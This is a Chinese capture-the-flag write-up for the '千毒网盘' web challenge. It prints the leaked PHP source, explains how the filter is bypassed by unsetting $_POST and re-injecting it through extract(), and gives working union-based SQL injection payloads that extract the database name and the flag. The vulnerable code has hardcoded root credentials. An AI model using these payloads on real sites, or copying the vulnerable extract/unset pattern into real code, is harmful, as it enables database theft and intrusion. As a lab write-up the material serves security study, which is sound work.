千毒网盘

复现题目,变量销毁和变量重置,sql注入(本地环境有点问题)

文章目录

  • 千毒网盘
    • 源码泄露
    • 变量销毁和变量重置
    • sql注入
    • 参考链接

源码泄露

源码泄露,找到www.zip,下载,里面有两个文件,index.phpcode.php

index.php

<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header"><h1>千毒网盘 <small>提取你的文件</small></h1></div><div class="row clearfix"><div class="col-md-4 column"></div><div class="col-md-4 column"><br><form role="form" action='/index.php' method="POST"><div class="form-group"><h3>提取码</h3><br><input class="form-control" name="code" /></div><button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button></form> <br><?phpinclude 'code.php';$pan = new Pan();foreach(array('_GET', '_POST', '_COOKIE') as $key){   if($$key) {foreach($$key as $key_2 => $value_2) { if(isset($$key_2) and $$key_2 == $value_2) unset($$key_2); }}}if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);if($_GET) extract($_GET, EXTR_SKIP);if($_POST) extract($_POST, EXTR_SKIP);if(isset($_POST['code'])){$message = $pan->getfile();echo <<<EOF<div class="alert alert-dismissable alert-info"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button><h4>注意!</h4> <strong>注意!</strong> {$message}</div>
EOF;}?></div><div class="col-md-4 column"></div></div></div>
</div>
</body>
</html>

code.php

<?phpclass Pan
{public $hostname = '127.0.0.1';public $username = 'root';public $password = 'root';public $database = 'ctf';private $mysqli = null;public function __construct(){$this->mysqli = mysqli_connect($this->hostname,$this->username,$this->password);mysqli_select_db($this->mysqli,$this->database);}public function filter($string) {$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);if($safe === 0){return $string;}else{return False;}}public function getfile(){$code = $_POST['code'];if($code === False) return '非法提取码!';$file_code = array(114514,233333,666666);if(in_array($code,$file_code)){$sql = "select * from file where code='$code'";$result = mysqli_query($this->mysqli,$sql);$result = mysqli_fetch_object($result);return '下载直链为:'.$result->url;}else{return '提取码不存在!';}}}

变量销毁和变量重置

为什么要整这个东西呢?

因为要绕过filter这个过滤,先把变量给销毁,然后通过extract重置变量

本地测试

<?php
foreach(array('_GET', '_POST', '_COOKIE') as $key){echo "1*********\n";print_r($key);if($$key) {//其实也就是$_GETecho "2*********\n";var_dump($$key);foreach($$key as $key_2 => $value_2) {echo "3*********\n";var_dump($key_2);echo "4*********\n";var_dump($value_2);echo "5*********\n";var_dump($$key_2);if(isset($$key_2) and $$key_2 == $value_2)unset($$key_2);}}}

传参测试

GET传参
?_GET[a]=1
POST传参
a=1

这个得出的结果是

$key2     =      _GET
$$key2    =   $_GET
$value_2    =  a=>1$$key_2 == $value_2   不成立

换用POST传参

GET传参
?_POST[a]=1
POST传参
a=1

这个得出的结果是

$key_2    =   _POST
$value_2    =  a=>1
$$key_2    =   a=>1
$$key_2 == $value_2      成立

可以利用这个进行销毁$_POST,之后再重置变量即可

sql注入

http://127.0.0.1/test/index.php?_POST[code]=114514' or 1=1%23
post传参
code=114514' or 1=1%23

查字段数目,我在本地复现用了三个字段,所以到4就会报错

查看数据库

http://127.0.0.1/test/index.php?_POST[code]=114514' and 0=1 union select 1,2,database()%23
POST传参
code=114514' and 0=1 union select 1,2,database()%23

本地环境有点问题,直接整flag了
查看flag

http://127.0.0.1/test/index.php?_POST[code]=114514' and 0=1 union select 1,2,flag from ctf.flag%23
POST传参
code=114514' and 0=1 union select 1,2,flag from ctf.flag%23

参考链接

  1. 千毒网盘_Marsper的博客-CSDN博客
  2. 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_末初 · mochu7-CSDN博客

第六届上海市大学生网络安全大赛__千毒网盘相关推荐

  1. 第六届上海市大学生网络安全大赛 | Wp

    文章目录 MISC 0x00:签到 0x01:pcap 0x02:pcap analysis 0x03: 可乐加冰 Web 0x01:千毒网盘 MISC 0x00:签到 linux运行一下即可得到fl ...

  2. “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup

    文章目录 checkin project JumpJumpTiger where_can_find_code 题目附件请自取: 链接:https://pan.baidu.com/s/1T9nG-CDg ...

  3. 上海市大学生网络安全大赛题解

    利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...

  4. 第六届山东省大学生网络安全技能大赛决赛Writeup

    0x00 RSA1 首先使用python脚本或者openssl解出n python脚本 from Crypto.PublicKey import RSA pub = RSA.importKey(ope ...

  5. 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘

    根目录/www.zip有源码 index.php <html lang="en"> <head><meta charset="UTF-8&q ...

  6. 2019上海市大学生网络安全大赛部分web题解

    前言 这周六有这个比赛,学到了一个骚姿势,在这里记录一下. easysql 题目是easysql,看到这个题目感觉问题不是这简单. 打开题目发现是一个未完成的页面,发现可能存在sql注入. 通过简单的 ...

  7. 物流设计大赛优秀作品_重磅!312支高校战队入围!谁主第六届全国大学生物流设计大赛复赛...

    中国物流与采购联合会培训部通知如下: 各有关院校: "马钢杯"第六届全国大学生物流设计大赛的初赛评审工作已经结束. 本届大赛共有580支参赛队取得参赛资格.大赛得到马钢集团的大力支 ...

  8. 计算机科学素养大赛,第六届全国大学生计算机应用能力与信息素养大赛圆满结束...

    原标题:第六届全国大学生计算机应用能力与信息素养大赛圆满结束 第六届全国大学生计算机应用能力与信息素养大赛圆满结束 经过了激烈角逐,第六届全国大学生计算机应用能力与信息素养大赛于2016年5月22日在 ...

  9. 天津计算机比赛,国际传媒学院学生在“‘中科曙光’杯第六届中国大学生计算机设计大赛天津市级赛”中屡创佳绩...

    5月24日,2013年"中科曙光"杯第六届中国大学生计算机设计大赛天津市级赛在南开大学二主楼B105教室隆重开幕.南开大学.天津大学.天津师范大学.天津外国语大学.天津科技大学.天 ...

最新文章

  1. ORB_SLAM2帧Frame
  2. 开发视频监控系统纪实 四 开康开发dll 修正
  3. 084_html5WebWorkers
  4. 操作系统源代码_国产操作系统“之光”?Windows XP绝密源代码泄露,BT种子已在网上疯传...
  5. 08-图9 关键活动 (30 分
  6. arm ida 伪代码 安卓 符号表_IDA 制作 sig文件 gdb 导入符号表
  7. 2万字,看完这篇才敢说自己真的懂线程池!
  8. 【规范化标准】之 ESLint、Stylelint
  9. foreach 和 map_每个开发人员都应该知道的forEach()和map()之间的差异
  10. php文件下载不完整,求帮看下这段PHP下载MP4文件的有关问题,文件下载不完整
  11. 阿里架构师教你处理高并发:2种方法,解决Redis和Mysql一致性
  12. 查看各类型数据库版本的SQL(Oracle/DB2/SQL Server/PG/MySQL)
  13. Linux 脚本开机自启的几种方法
  14. 怎么用计算机测出来体脂,keep软件测体脂率的在哪 keep怎么测体脂
  15. C++扑克牌类的设计
  16. Unity3D之简单AR游戏
  17. 网页文字无法复制,怎么办?
  18. linux上查看端口信息
  19. 【关于2022年卡塔尔世界杯】
  20. php相同数据合并单元格,jQuery_基于jQuery的合并表格中相同文本的相邻单元格的代码,ONE 已经生成的数据表格大致 - phpStudy...

热门文章

  1. python推送企业微信机器人2-markdown类型
  2. vue+elementUI表格关键字筛选高亮
  3. VS中ID号的格式ID_,IDS_,IDC_之间有什么区别
  4. 同人文生成器狗屁不通文章生成器各种生成器 简易写法
  5. DataFrame统计运算
  6. ios weak和unown_Unowned 还是 Weak?生命周期和性能对比
  7. thymeleaf的学习1----------------摸鱼王的日常学习
  8. linux中括号 美元符号怎么打,javascript – 美元符号后跟模板字符串中的方括号
  9. 车载lin通信协议栈_车载手机无线充电
  10. 关于“文件或目录损坏且无法读取” 的 CHKDSK 修复方法